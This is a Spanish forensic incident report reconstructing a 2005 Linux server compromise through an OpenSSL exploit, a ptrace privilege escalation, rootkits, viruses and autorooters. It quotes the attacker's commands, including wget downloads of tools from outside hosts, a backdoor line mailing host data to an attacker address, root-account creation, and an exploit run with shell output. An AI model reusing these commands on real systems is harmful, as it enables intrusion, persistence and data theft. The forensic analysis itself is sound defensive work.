7 Paquete spoofeado: paquete tcp/ip con la cabecera falsificada. 8 Información en la que aparece el md5 de un fichero de la maquina. Dicho fichero pertenece al rootkit Suckit http://openskills.info/view/boxdetail.php?IDbox=20&boxtype=stdout9 Información detallada sobre el SHV4 https://tms.symantec.com/members/AnalystReports/030929-Analysis-SHV4Rootkit.pdf

15

/.bash_history 14 wget www.zetu.as.ro/crk.tar.gz 15 tar xzvf crk.tar.gz 16 cd crk 17 ./install eliteaza 1 18 id 19 su 20 cd crk 21 dir 22 ./install eliteaz 9933 En la línea 17, se aprecia, que crea en el puerto 1 un servidor SSH con passwd “eliteaza” y un poco más abajo instala otro en el puerto 9933 con passwd “eliteaz”. Durante la instalación ocurre lo siguiente:

- Descomprime todos los ficheros que están en el tar.gz: bin.tgz, conf.tgz, lib.tgz, bin/ssh-only.tgz y ssh.tgz.

- Se asegura de que el script esta corriendo como root. - Mata el proceso syslogd. - Coge el valor de la passwd suministrada como parámetro, o si no se le da ninguna, usa la

que esta por defecto (cycommrk) y genera dos ficheros iguales llamados /etc/ld.so.hash y /lib/libext-2.so.7 que contiene la contraseña en formato crypt (3). Esta es la contraseña que usara el servidor sshd que instala.

- Crea el script /etc/rc.d/init.d/cycomm que lanza el servidor ssh. - Borra todos los logs del sistema que hay en /var/log y los bash_history de root. - Muestra información del sistema. - Borra el directorio de instalación y el tar.gz y acaba.

Algunas de las partes de la instalación fallan, dejando el rootkit a medio instalar y no funcional. Si hubiera acabado, habría realizado las siguientes acciones:

- Instalar los ficheros que están en bin.tgz, conf.tgz, lib.tgz, ssh-only.tgz y ssh.tgz.

- Configurar una copia del sshd para que escuche en el puerto suministrado y si no se suministra uno, usa el que tiene por defecto (7777/tcp)

- Copia el sshd modificado a /usr/sbin/xntpd. Puesto que la instalación de este rootkit ha fallado en una fase tan básica, no afecta al sistema más que en la creación de los ficheros /etc/ld.so.hash y /lib/libext-2.so.7 que por si mismos no hacen nada, son solo la contraseña de la que sería una puerta trasera. 2.3.2. Hipótesis un virus en Linux. Los virus no son habituales en Linux, de hecho comparados con el número existente en plataformas Windows, son casi una rareza. Sin embargo durante este incidente, nos hemos encontrado con dos.

16

2.3.2.1. Linux/RST.b Durante la búsqueda de rootkits en los apartados anteriores, nos llamaron la atención dos ficheros vacíos que habían sido creados cuando el intruso ya estaba dentro de la maquina. Estos ficheros eran /dev/hdx1 y /dev/hdx2. Tras una búsqueda en google, se indicaba que eran parte de un virus para Linux llamado Linux/RST.b10

Este virus, implementa varias capacidades de backdoor, permitiendo al atacante tomar control del sistema infectado en el caso de que el virus haya sido ejecutado con privilegios de root. El virus infecta todos los binarios que estén el directorio actual y los del directorio /bin hasta un máximo de 30. El virus detecta cuando un fichero está ya infectado y no lo reinfecta. También pone en modo promiscuo tanto el primer interfaz de red eth0 como el primer interfaz PPP (ppp0). Crea los dispositivos /dev/hdx1 y /dev/hdx2 para usarlos como semáforos en la gestión de sniffing de los interfaces comentados. Una vez completada la rutina de infección, trata de conectarse al servidor web ns1.xoasis.com y descargarse el fichero gov.php que no existía. De esta manera el que programo el virus presumiblemente tenía acceso a los logs de dicho servidor, y sabría qué maquinas estaban infectadas. También crea un socket de EGP (External Gateway Protocol) y espera a que le llegue un paquete de este protocolo especialmente diseñado. Si ve un paquete EGP en el que el Byte 23 sea 0x11, comprobara en el offset 0x2a de la parte de datos del paquete una contraseña de 3 bytes (DOM). Si es correcta, el siguiente byte indicara el comando. Si es el 1, abrirá una shell /bin/sh, si es el 2 devuelve la contraseña (DOM). Los binarios infectados contienen las cadenas “snortdos” y “tory” por lo que es fácil localizarlos. find /reto/hda/ –type f –perm 755 –exec grep ‘snortdos’ {} \; Lo que nos da un total de 27 ficheros infectados. Esto nos hizo sospechar que había algo más que se nos estaba escapando porque las firmas md5 de la base de datos rpm nos indicaba que había 65. # grep "\/bin\/" /reto2/rpm_md5_solo_modificados.txt | wc -l 65 2.3.2.2. Linux/OSF.a11

Tras la diferencia de ficheros modificados que encontramos en el punto anterior, le pasamos un antivirus (fprot) al directorio /bin buscando más virus. Encontramos que el resto de ficheros que habían sido modificados en este directorio estaban infectados por otro virus llamado Linux/OSF.a. Este virus infecta binarios tipo ELF de Linux añadiéndoles 8759 bytes. Si el usuario root ejecuta un fichero infectado, el virus infectará como mucho 201 ficheros del directorio /bin, pero nunca el fichero ps. En este caso, ha infectado 51 de los 85 que contenía el directorio (los ficheros que no había infectado el RST.b). Este virus tiene también propiedades de backdoor, una vez ejecutado, el virus escuchara el puerto UDP 3049 esperando órdenes:

- Ejecutar un comando en equipo. - Correr un sniffer.

10 Información sobre Linux/RST.b http://www.security-focus.com/archive/100/247640 http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=ELF%5FRST%2EB&VSect=T 11 Linux/OSF.a: http://www.viruslibrary.com/virusinfo/Linux.OSF.8759.htm

17

- Redirigir el trafico de la maquina a otra maquina.

El virus también trata de editar las reglas del firewall y borrarlas para prevenir cualquier bloqueo del mismo. 2.4. De cómo el atacante entra en el sistema. Repasando el fichero /reto2/mactime_todo.txt desde su inicio, lo primero que nos llama la atención es la creación del fichero /etc/ssh/sshd_config~ por el usuario apache. Dicho usuario es creado por el sistema con la única finalidad de correr el servidor web Apache. El usuario apache, tiene unos privilegios mínimos y que no tiene login interactivo (/bin/false). Por lo tanto es muy extraño que aparezcan ficheros creados por este usuario. Esto nos hace sospechar que la intrusión se puede haber realizado a través del servidor web apache. /reto2/mactime_todo.txt 129025 Sat Jan 29 2005 15:15:41 0 .a. -/-rwxr-xr-x apache apache 959 /etc/ssh/sshd_config~ (deleted) 129026 0 .a. -rwxr-xr-x apache apache 959 <hda1.dd-dead-959>

Continuamos el análisis del /reto2/mactime_todo.txt y encontramos varias herramientas de hacking (woot.tgz, sc.tgz, selena.tgz, etc.). En concreto el paquete selena.tgz12 (un autorooter) que más tarde usara para atacar a otras maquinas Este autorouter explota una vulnerabilidad en el servidor web Apache instalado con soporte para SSL. Concretamente, el exploit que usa es el openssl-too-open13, como nos lo indica el contenido del fichero main.c. # grep openssl-too-open /reto2/hda/var/tmp/selena/main.c

* openssl-too-open.c - OpenSSL remote exploit Esta vulnerabilidad afecta al paquete OpenSSL cuya versión sea inferior a la 0.9.6e. Siendo la versión de OpenSSL instalada en la maquina del reto OpenSSL-0.9.6b # rpm -qa --dbpath /reto2/hda/var/lib/rpm openssl openssl-0.9.6b-18 Puesto que sospechamos que la intrusión había sido a través del servidor Apache+SSL, para confirmarlo, lanzamos el exploit que encontramos en el paquete selena contra nuestra máquina test, siendo este el resultado de la prueba. # ./ssx -a 0xc 10.0.128.128 # Opening 30 connections # Establishing SSL connections # Using the OpenSSL info leak to retrieve the addresses # ssl0 : 0x814bac0 # ssl1 : 0x814bac0 # ssl2 : 0x814bac0 # Sending shellcode ciphers: 0x814bac0 start_addr: 0x814ba00 SHELLCODE_OFS: 208 # Execution of stage1 shellcode succeeded, sending stage2 # Spawning shell... bash: no job control in this shell readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache)

12 selena.tgz: http://www.lurhq.com/atd.html13 Exploit openssl-too-open: http://www.phreedom.org/solar/exploits/apache-openssl/

18

3:02pm up 2:01, 0 users, load average: 0.01, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ De esta comprobación se deduce que tanto la maquina test como la maquina del reto son vulnerables a este exploit pudiendo un atacante externo entrar en la maquina con una shell que pertenece al usuario apache. Buscamos en los logs del servidor Apache de la maquina test las entradas que ha generado la explotación de la vulnerabilidad. En el siguiente cuadro recogemos las entradas: [Tue Mar 1 22:00:47 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 10.0.128.2) (OpenSSL library error follows) [Tue Mar 1 22:00:47 2005] [error] OpenSSL: error:1406908F:lib(20):func(105):reason(143)

No disponemos a buscar estos logs en la maquina atacada para confirmar que la intrusión se ha producido usando este exploit. Puesto que el atacante borro todos los logs del sistema, buscaremos esta información en el fichero /reto2/hda3.dd.unalloc.asc que contiene las cadenas de texto de las zona no usada de la imagen hda3.dd (/var) que es la que contenía los logs del sistema. Para ello usamos el comando grep y buscamos la cadena ”SSL handshake failed”: #grep –i "SSL handshake failed" /reto2/hda3.dd.unalloc.asc 611097301 [Sat Jan 29 14:58:51 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows) […Continua…] En las líneas anteriores confirmamos que el atacante ha entrado en la maquina aprovechando este exploit. Además nos da más información sobre la intrusión:

- Fecha y hora de la intrusión: Sat Jan 29 14:58:51 2005 - IP del atacante: 64.202.43.190 - Origen de la IP: Reno, Nevada, EEUU - Dominio del origen del ataque: asiahotels.net (Tailandia) - Servicio atacado: Apache + SSL (OpenSSL 0.9.6b) - Vulnerabilidad explotada: CA-2002-2314 (VU#102795: OpenSSL servers contain a buffer

overflow during the SSLv2 handshake process) - Exploit usado: openssl-too-open.c

2.5. Descripción del compromiso Como vimos anteriormente el atacante entro en la maquina el día 29 a las 14:58:51; logró acceso con el usuario apache. Lógicamente, lo primero que debería intentar es elevar sus privilegios a root. Veamos si lo consigue y en caso de hacerlo, cómo. El atacante vuelve a entrar varias veces en el transcurso de 15 minutos: #grep –i "SSL handshake failed" /reto2/hda3.dd.unalloc.asc 611097532 [Sat Jan 29 15:00:01 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows) 611097763 [Sat Jan 29 15:10:49 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows) 611097994 [Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows)

14 CA-2002-23: http://www.cert.org/advisories/CA-2002-23.html

19

A las 15:11:44 se conecta por ftp a una dirección desconocida y presumiblemente se descarga algo. Este dato lo sacamos del fichero /reto2/mactime_todo.txt. /reto2/mactime_todo.txt Sat Jan 29 2005 15:11:44 65832 .a. -/-rwxr-xr-x root root 32392 /usr/bin/ftp

En principio no tenemos acceso a lo que se descarga puesto que luego lo borra y no aparece en el listado de ficheros borrados que nos muestra autopsy. Sospechamos que se trata del exploit que usará para convertirse en root, aunque aun no tenemos ninguna evidencia. Recordamos que el atacante todavía es usuario apache. A las 15:16:49 del Sat Jan 29 2005 entra en el sistema el virus RST.b del que hablamos en el punto 2.3.2.1, infecta el /bin/gawk y crea los dispositivos /dev/hdx1 y /dev/hdx2. /reto2/mactime_todo.txt 129027 Sat Jan 29 2005 15:16:49 252844 m.c -/-rwxr-xr-x root root 47990 /bin/gawk 129028 0 mac -/---------- root root 37434 /dev/hdx1 129029 86016 m.c d/drwxr-xr-x root root 31937 /dev 129030 252844 m.c -/-rwxr-xr-x root root 47990 /bin/gawk-3.1.0 129031 0 mac -/---------- root root 37435 /dev/hdx2

Para que la infección se haya llevado a cabo, el virus ha tenido por fuerza que ser ejecutado como root. Nuestra hipótesis de trabajo es que el atacante durante la sesión de ftp, se bajó un exploit local ya compilado. Dicho exploit estaba infectado con el virus RST.b y al ejecutarlo y convertirse en root, infecta al equipo. Veamos si podemos confírmalo. Puesto puesto que el exploit ha sido borrado, aun podemos intentar buscarlo entre los ficheros borrados que se encuentran en la zona no usada del disco. Esta tarea sería como buscar una aguja en un pajar sin saber ni donde ni que buscar, pero en este caso, sabemos que como está infectado con el virus RST.b tiene que contener forzosamente la cadena de texto “snortdos”. Puesto que siendo el usuario apache, no podía escribir en demasiados sitios, lo más probable es que usara el directorio /tmp, lo cual queda reforzado por el hecho de que más adelante vemos que en /var/tmp/.bash_history borra el contenido de dicho directorio. Por lo tanto empezaremos mirando en los archivos borrados de la partición raíz (hda1) que es la que contiene el directorio /tmp. Usaremos por comodidad en este caso, la interfaz web de Autopsy para buscar la cadena de texto “snortdos” en la parte unallocated de hda1:

Encuentra un acierto con la cadena “snortdos”. Si nuestra suposición es cierta podría tratarse del exploit que estamos buscando.

Cuando verificamos lo que ha encontrado en la unidad 24866, vemos que efectivamente se trata de parte del virus. Revisamos la unidad anterior (24866) mirando las cadenas ASCII y ¡Eureka! vemos las cadenas de lo que parece un exploit local que aprovecha la conocida vulnerabilidad

20

ptrace15 de los kernels 2.2 y 2.4. Más tarde, descubrimos que este exploit era la herramienta “own” que posteriormente podemos recuperar también, del lugar del que se la descargó. El fichero en su conjunto, ocupa 6 unidades, hemos recuperado el exploit infectado con el virus y lo añadimos al informe como un fichero aparte.

Por lo tanto el atacante logro hacerse root a las 15:16:49 del 29 de Enero usando un exploit local para el kernel (ptrace). El binario en cuestión esta ubicado desde la unidad 24865 a la 24870 (ocupa 6 unidades) y lo aportamos como evidencia en un fichero adjunto (exploit_ptrace_infectado) a este informe. Hay que recordar que esta infectado con el virus RST.b y que en cualquier ordenador vulnerable donde se ejecute será infectado con él. Una vez que el atacante se ha hecho con los privilegios de root, comienza a instalar una serie de herramientas que le permitirán, ocultar sus actividades y acceder de forma fácil otra vez al equipo. Lo primero que hace a las 15:17:13 del día 29, es crear una cuenta de un usuario llamado weed con privilegios de root y ponerle una contraseña. Este usuario lo va a crear y borrar tres veces. /.bash_history adduser -g 0 -u 0 -o weed

/reto2/mactime_todo.txt Sat Jan 29 2005 15:17:13 124 mac -/-rw-r--r-- root root 64004 /home/weed/.bashrc 4096 m.c d/drwx------ root root 64001 /home/weed 24 .a. -/-rw-r--r-- root root 95821 /etc/skel/.bash_logout 191 .a. -/-rw-r--r-- root root 95822 /etc/skel/.bash_profile 124 .a. -/-rw-r--r-- root root 95823 /etc/skel/.bashrc

15 Información sobre la vulnerabilidad ptrace del kernel 2.2 y 2.4: http://www.kb.cert.org/vuls/id/628849 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127

21

22

passwd weed

0 mac -/-rw-rw---- root root 352010 /var/spool/mail/weed 191 mac -/-rw-r--r-- root root 64003 /home/weed/.bash_profile 24 mac -/-rw-r--r-- root root 64002 /home/weed/.bash_logout Sat Jan 29 2005 15:18:35 1414 m.. -/-rw------- root root 32050 /etc/passwd- 7 .a. l/lrwxrwxrwx root root 128196 /usr/sbin/adduser 96 .a. -/-rw------- root root 95820 /etc/default/useradd 52168 .a. -/-rwxr-xr-x root root 128208 /usr/sbin/useradd

Durante la sesión ftp o inmediatamente después, se bajo el exploit local para el kernel (own) que fuel el que uso para hará escalar privilegios y también se descargo la herramienta za.tgz. Tanto za.tgz como own se los bajo del mismo sitio web http://www.zetu.as.ro. No ha quedado rastro de las mismas porque más tarde las borra. Se describe estas herramientas en el punto 3 del informe. /.bash_history

rm -rf za* rm -rf own Entre las 15:18:35 y las 15:19:33 se descarga el rootkit SHV4 que está contenido en el fichero crk.tar.gz y lo descomprime. Entre las 15:19:33 y las 15.21:50 ejecuta la instalación de este rootkit por dos veces. El rootkit como ya explicamos en el punto 2.3.1.2 abre una puerta trasera por ssh en el puerto suministrado, sin embargo falla en su instalación ¿quizás por eso lo instala por dos veces? /.bash_history wget www.zetu.as.ro/crk.tar.gz tar xzvf crk.tar.gz cd crk ./install eliteaza 1 id su cd crk dir ./install eliteaz 9933

/reto2/mactime_todo.txt Sat Jan 29 2005 15:19:33 107 .a. -/-rw-r--r-- Contador Contador 81746 /usr/include/file.h 33848 .a. -/-rwxr-xr-x root root 111859 /lib/libproc.a 16 m.. l/lrwxrwxrwx root root 111861 /lib/libproc.so -> libproc.so.2.0.6 73 .a. -/-rw-r--r-- Contador Contador 81748 /usr/include/log.h 43 .a. -/-rw-r--r-- Contador Contador 48889 /lib/lidps1.so 154 .a. -/-rw-r--r-- Contador Contador 81747 /usr/include/hosts.h 89 .a. -/-rw-r--r-- Contador Contador 81749 /usr/include/proc.h

A las 15:21:46 se descarga y descomprime el segundo rootkit que va a instalar: suckit. A las 15:22:00 lo ejecuta y como resultado renombra el /sbin/init a /sbin/initsk12. Durante la instalación se crea un nuevo /sbin/init que contiene el rootkit que será cargado en el próximo reinicio. Como indicamos en el punto 2.3.1.1 este rootkit también queda parcialmente instalado. Además tras haberlo probado en nuestra maquina test, de haberse reiniciado el equipo, no habría arrancado acabando aquí con toda la intrusión. /root/.bash_history wget xhack.150m.com/sc.tgz tar -zxvf sc.tgz cd sc ./inst ./sk

/reto2/mactime_todo.txt Sat Jan 29 2005 15:22:00 4096 m.c d/drwxr-xr-x root root 47909 /sbin 26920 mac -/-rwxr-xr-x root root 48881 /sbin/initsk12 33348 mac -/-rwxr-xr-x root root 48884 /sbin/init

23

Una vez que ha acabado, borra el directorio de instalación. /root/.bash_history rm -rf sc* A continuación se descarga y ejecuta la herramienta https. Se trata de una puerta trasera escrita en perl que analizamos más en profundidad en la sección 3 de herramientas instaladas por el atacante. /reto2/mactime_todo.txt Sat Jan 29 2005 15:22:12 0 .a. -rw-r--r-- root root 966 <hda1.dd-dead-966> 8022 .a. -/-r--r--r-- root root 320187 /usr/lib/perl5/5.6.1/i386-linux/IO/Select.pm

Puesto que este es el último comando que aparece en /root/.bash_history, concluimos que esta es la última vez que se conecta como usuario root con esta shell. Esto podría no ser cierto, ya que puede deshabilitar el logging de comandos del bash_history, pero viendo como ha “eliminado” el resto de rastros, no creemos que lo haya hecho. Además, ya no le hace falta, puesto que ha instalado varias puertas traseras. Termina la sesión a las 15:22:20 y no vuelve a usar esta shell. /reto2/mactime_todo.txt Sat Jan 29 2005 15:22:20 133 m.c -/-rw------- root root 98069 /root/.bash_history

A las 15:22:22 se conecta por primera vez por ssh a localhost, usando el usuario weed. Más tarde volverá a hacerlo. /.bash_history ssh -l weed localhost

/reto2/mactime_todo.txt Sat Jan 29 2005 15:22:22 219 m.c -/-rw-r--r-- root root 111855 /root/.ssh/known_hosts 4096 m.c d/drwx------ root root 111854 /root/.ssh

Borra al usuario weed por última vez a las 15:25:25. /.bash_history userdel weed /usr/sbin/userdel weed

/reto2/mactime_todo.txt Sat Jan 29 2005 15:25:25 0 mac -/-rw------- root root 37415 /etc/passwd.lock 0 mac -rw------- root root 37437 <hda1.dd-dead-37437> 457 .a. -/-r-------- root root 37431 /etc/gshadow 1381 m.c -/-rw-r--r-- root root 37441 /etc/passwd 0 mac -/-rw------- root root 37439 /etc/group.lock 35336 .a. -/-rwxr-xr-x root root 128209 /usr/sbin/userdel

A las 15:26:47 se descarga la herramienta pico que es otro backdoor. Unos segundos más tarde, trata de ocultar la utilidad pico, renombrándola a “ “(un espacio). /.bash_history wget www.zetu.as.ro/pico chmod +x pico

/reto2/mactime_todo.txt Sat Jan 29 2005 15:26:47 24056 m.. -/-rwxr-xr-x root root 96002 /var/log/pico (deleted-realloc)

24

mv pico " "

Sat Jan 29 2005 15:26:55 24056 ..c -/-rwxr-xr-x root root 96002 /var/log/pico (deleted-realloc) 24056 ..c -/-rwxr-xr-x root root 96002 /var/log/

Finalmente, modifica el path de ejecución y ejecuta el pico renombrado a las 15:27:01. /.bash_history export PATH="." “ “

/reto2/mactime_todo.txt Sat Jan 29 2005 15:27:01 24056 .a. -/-rwxr-xr-x root root 96002 /var/log/pico (deleted-realloc)

El backdoor pico, además de abrir una puerta trasera, recoge información con una serie de comandos y la manda por correo a la dirección radautiteam@yahoo.com de esta forma, el atacante entre otras cosa se manda la IP de la maquina para no olvidarla y volver después. strings /var/log/pico touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >> /tmp/.info; cat /tmp/.info | mail -s 'Port nou' radautiteam@yahoo.com

/reto2/mactime_todo.txt Sat Jan 29 2005 15:27:01 64761 .a. -/-rwxr-xr-x root root 47944 /sbin/ifconfig 0 mac -/-rw-r--r-- root root 18407 /tmp/.info

A las 15:27:24 mata cualquier proceso llamado zbind (se equivoca las dos primeras veces). El proceso zbind es una puerta trasera estaba contenida en el fichero za.tgz que se descargo y ejecutó al principio del compromiso (15:11:44). Probablemente al haber abierto otra puerta trasera con el pico, ya no necesitaba ésta. /.bash_history /usr//sbin/killall -9 zbind /usr/sbin/killall -9 zbind /usr/bin/killall -9 zbind

/reto2/mactime_todo.txt Sat Jan 29 2005 15:27:24 12320 .a. -/-rwxr-xr-x root root 32165 /usr/bin/killall 665 m.c -/-rw------- root root 982 /.bash_history

En el mismo segundo se sale de la shell. Por lo tanto, la shell desde la que mata el proceso zbind había sido iniciada a través del propio backdoor zbind y al matarlo la sesión finaliza abruptamente. Por esta razón el home del usuario es el directorio raíz “/” cuando al estar trabajando como root en un inicio de sesión normal, debería de tener el directorio /root como home. Se conecta otra vez, pero el home que tiene ahora es el /var/tmp que es donde va a desarrollar sus próximas acciones hasta el final de la intrusión. Seguiremos las acciones realizadas a través del .bash_history que ha quedado en /var/tmp. A las 15:36:34 se descarga el paquete w00t.tgz, lo descomprime y ejecuta el comando asmb. Este paquete es un autorooter para el servidor samba y lo lanza contra la clase B 200.207.0.0/16 que en unas rápidas consultas con el whois descubrimos que pertenece a Brasil (diversas subredes). El w00t, escanea buscando servidores samba vulnerables y compromete de forma automatizada todos aquellos que encuentra. Esta herramienta se describe con más detalle en el punto 3 del presente documento.

25

/var/tmp/.bash_history wget www.zetu.as.ro/woot.tgz tar xvfz woot.tgz cd w00t ./asmb 200.207

/reto2/mactime_todo.txt Sat Jan 29 2005 15:36:34 396 ..c -/-rw-r--r-- 523 523 336009 /var/tmp/w00t/try.c 813 ..c -/-rwxr-xr-x 523 523 336010 /var/tmp/w00t/asmb 42930 ..c -/-rw-r--r-- 523 523 336021 /var/tmp/w00t/sambas.c 5767 ..c -/-rw-r--r-- 523 523 336020 /var/tmp/w00t/pscan2.c 121 ..c -/-rwxr-xr-x 523 523 336012 /var/tmp/w00t/make 13516 ..c -/-rw-r--r-- 523 523 336013 /var/tmp/w00t/vuln.c 39340 ..c -/-rwxr-xr-x 523 523 336018 /var/tmp/w00t/samba 24798 ..c -/-rwxr-xr-x 523 523 336017 /var/tmp/w00t/pscan2 39469 ..c -/-rwxr-xr-x 523 523 336022 /var/tmp/w00t/sambas 26592 ..c -/-rwxr-xr-x 523 523 336015 /var/tmp/w00t/vuln 885 ..c -/-rw-r--r-- 523 523 336008 /var/tmp/w00t/o0o.c 206 ..c -/-rwxr-xr-x 523 523 336011 /var/tmp/w00t/auto 20893 ..c -/-rwxr-xr-x 523 523 336014 /var/tmp/w00t/try 21495 ..c -/-rwxr-xr-x 523 523 336016 /var/tmp/w00t/o0o 42762 ..c -/-rw-r--r-- 523 523 336019 /var/tmp/w00t/samba.c

Las modificaciones de ficheros binarios del directorio /bin que sobrevienen a continuación, son causadas por el virus OSF.a. Todos los binarios del paquete w00t están infectados con este virus que hemos descrito con detalle en el punto 2.3.2.2. Curiosamente no afectan a los binarios que habían sido infectados anteriormente con el virus RST.b. A continuación mostramos algunos de los binarios infectados. /reto2/mactime_todo.txt Sat Jan 29 2005 15:36:43 16523 ..c -/-rwxr-xr-x root root 48293 /bin/kill 30815 ..c -/-rwxr-xr-x root root 48225 /bin/date 52255 ..c -/-rwxr-xr-x root root 47982 /bin/mv 103123 ..c -/-rwxr-xr-x root root 47994 /bin/ash 72314 ..c -/-rwxr-xr-x root root 48001 /bin/gunzip 64291 ..c -/-rwxr-xr-x root root 48029 /bin/sort 51807 ..c -/-rwxr-xr-x root root 48018 /bin/consolechars 29549 ..c -/-rwxr-xr-x root root 48027 /bin/cat 19839 ..c -/-rwxr-xr-x root root 48226 /bin/echo 11463 ..c -/-rwxr-xr-x root root 48291 /bin/arch 297363 ..c -/-rwxr-xr-x root root 48026 /bin/tcsh 37215 ..c -/-rwxr-xr-x root root 48231 /bin/stty 31935 ..c -/-rwxr-xr-x root root 48295 /bin/more

El resultado de lanzar w00t contra la red 200.207.0.0/16 se almacena en el fichero “/var/tmp/w00t/200.207.pscan.139” pero como no encuentra ningún objetivo, finalmente el fichero se queda vacío. Después de las 15:42:46 se descarga un bouncer de irc: psybnc. Dicho programa, es usado para mantener sesiones en canales irc, ocultar la IP real, lanzar denegaciones de servicio, etc. Hay una descripción completa del psybnc en el punto 3 del presente documento. En el equipo atacado, de hecho, realiza dos instalaciones del psybnc. La primera en el directorio /dev/shm de la que no ha quedado nada, porque en algún momento la borra. Vemos a continuación la secuencia de comandos que ejecutó.

26

/var/tmp/.bash_history cd /dev/shm dir wget www.zetu.as.ro/psyz.tar.gz tar xzvf psyz.tar.gz rm -rf psyz.tar.gz mv psybnc local cd local rm -rf psybnc.conf* wget www.zetu.as.ro/psybnc/psybnc.conf mv psybnc "ps ax" export PATH="." "ps ax"

Como se puede comprobar en el cuadro anterior, se baja otro fichero de configuración y cambia el nombre al psybnc para que parezca el comando “ps ax” y no llame la atención si alguien revisa los procesos del sistema. La segunda instalación la realiza en el directorio /var/tmp, a las 15:46:27 se descarga otro paquete con el psybnc, lo descomprime y acto seguido lo ejecuta. Esto trata de a correr el irc bouncer en el puerto 17900/tcp. /var/tmp/.bash_history wget www.zetu.as.ro/psybnc.tgz tar xvfz psybnc.tgz cd psybnc ./psybnc

/reto2/mactime_todo.txt Sat Jan 29 2005 15:46:27 957521 ..c -/-rw-r--r-- root root 32012 /var/tmp/psybnc.tgz Sat Jan 29 2005 15:46:42 533616 .a. -/-rwxr-xr-x 657 226 192018 /var/tmp/psybnc/psybnc 7 mac -/-rw------- root root 192021 /var/tmp/psybnc/psybnc.pid 356 mac -/-rw------- root root 128014 /var/tmp/psybnc/log/psybnc.log

Sin embargo, le da algunos fallos, pero al final arranca el bouncer. Podemos comprobarlo en los logs que hay en el fichero /var/tmp/psybnc/log/psybnc.log /var/tmp/psybnc/log/psybnc.log Sat Jan 29 15:46:42 :Listener created :0.0.0.0 port 17900 Sat Jan 29 15:46:42 :Error Creating Socket Sat Jan 29 15:46:42 :Can't create listening sock on host * port 17900 Sat Jan 29 15:46:42 :Can't set a suitable Host for DCC Chats or Files. Please define at least one Listener for an IP. Sat Jan 29 15:46:42 :psyBNC2.2.1-cBtITLdDMSNp started (PID :24907)

Dos días después, el 31 de Enero a las 00:39:17 se vuelve a conectar por ssh. /reto2/mactime_todo.txt Mon Jan 31 2005 00:39:17 88039 .a. -/-rw------- root root 850 /etc/ssh/moduli

Y a las 03:12:48 alguien se conecta al psybnc de esta maquina. En el log USER1.LOG vemos que se conecta a undernet.org.

27

/reto2/mactime_todo.txt Mon Jan 31 2005 03:12:48 105 mac -/-rw------- root root 192023 /var/tmp/psybnc/USER1.LOG 4096 m.. d/drwxr-xr-x 657 226 192011 /var/tmp/psybnc

A las 11:35:07 y tras ejecutar algunos comandos del sistema (w, ps, dir) se descarga la última herramienta que instalará: selena.tgz. /var/tmp/.bash_history w ps aux cd /var/tmp ls dir wget http://www.plus.factory.home.ro/selena.tgz

/reto2/mactime_todo.txt Mon Jan 31 2005 11:35:07 4224 .a. -/-rw-rw-r-- root utmp 304004 /var/run/utmp 8432 .a. -/-r-xr-xr-x root root 32161 /usr/bin/w Mon Jan 31 2005 11:35:13 63304 .a. -/-r-xr-xr-x root root 48002 /bin/ps Mon Jan 31 2005 11:46:49 737535 .a. -/-rw-r--r-- root root 31981 /etc/termcap Mon Jan 31 2005 11:46:57 46888 .a. -/-rwxr-xr-x root root 32116 /usr/bin/dir Mon Jan 31 2005 11:51:38 342006 ..c -/-rw-r--r-- root root 32011 /var/tmp/selena.tgz

El paquete selena es un autorooter de apache+ssl. La descomprime y lo lanza contra las redes 217.172.0.0/16, a la búsqueda de servidores apache con el puerto 443 (https) abierto y vulnerables al exploit que contiene. Como curiosidad, decir que los binarios del selena también están infectados por el virus RST.b, aunque a estas alturas del compromiso, poco queda que no haya sido infectado ya. El selena y sus componentes será explicada en detalle en el punto 3 del presente documento. /var/tmp/.bash_history tar xvfz selena.tgz cd selena ./assl 217.172

/reto2/mactime_todo.txt Mon Jan 31 2005 11:54:37 206 ..c -/-rwxr-xr-x 505 505 224015 /var/tmp/selena/auto 98304 ..c -/-rw------- 505 505 224030 /var/tmp/selena/core 12557 ..c -/-rw-r--r-- 505 505 224013 /var/tmp/selena/main.c

Las maquinas que ha encontrado vulnerables y a las que ha lanzado el exploit quedan almacenadas a las 12:03:38 en el fichero /var/tmp/selena/217.172.ssl.out a continuación ponemos una pequeña muestra de este fichero. /var/tmp/señema/217.172.ssl.out ./sslex 0 217.172.67.46 ./sslex 16 217.172.70.43 ./sslex 1 217.172.75.56 ./sslex 1 217.172.76.229 ./sslex 1 217.172.76.228 ./sslex 1 217.172.67.164 ./sslex 1 217.172.79.162 ./sslex 1 217.172.76.105

28

A las 12:03:40 el atacante cierra la shell en la que estaba. A partir de ahí, la actividad que existe no parece ser del atacante, sino que probablemente es del administrador del sistema (que se conecta a las 12:52:57) cuando descubre la intrusión. A las 15:38:57 del día 31 de Enero, la maquina es apagada haciendo un hard-reset.

29

3. Análisis de las herramientas instaladas por el atacante. Describiremos a continuación la serie de programas que el atacante se baja de Internet para instalar en la maquina. Como en la mayoría de las intrusiones, una vez que el atacante gana el control del sistema comprometido, instala una serie de herramientas que le permiten abrir puertas traseras para posibilitar su futuro regreso a la maquina sin levantar sospechas, instalar algún programa que le posibilite el control remoto de la maquina atacada, ocultar sus actividades en el sistema, etc. Todos los programas que se baja están compilados, por lo que no tendría que realizar este paso una vez accedido a la maquina. Esta compilación implica que no es la primera vez que entra en un sistema sin permiso dado que los programas los tenia preparados y listos para funcionar. Como se puede observar en el listado siguiente, la mayoría de los programas se los baja el atacante de maquinas que se encuentran en el dominio “ro” (Rumania). 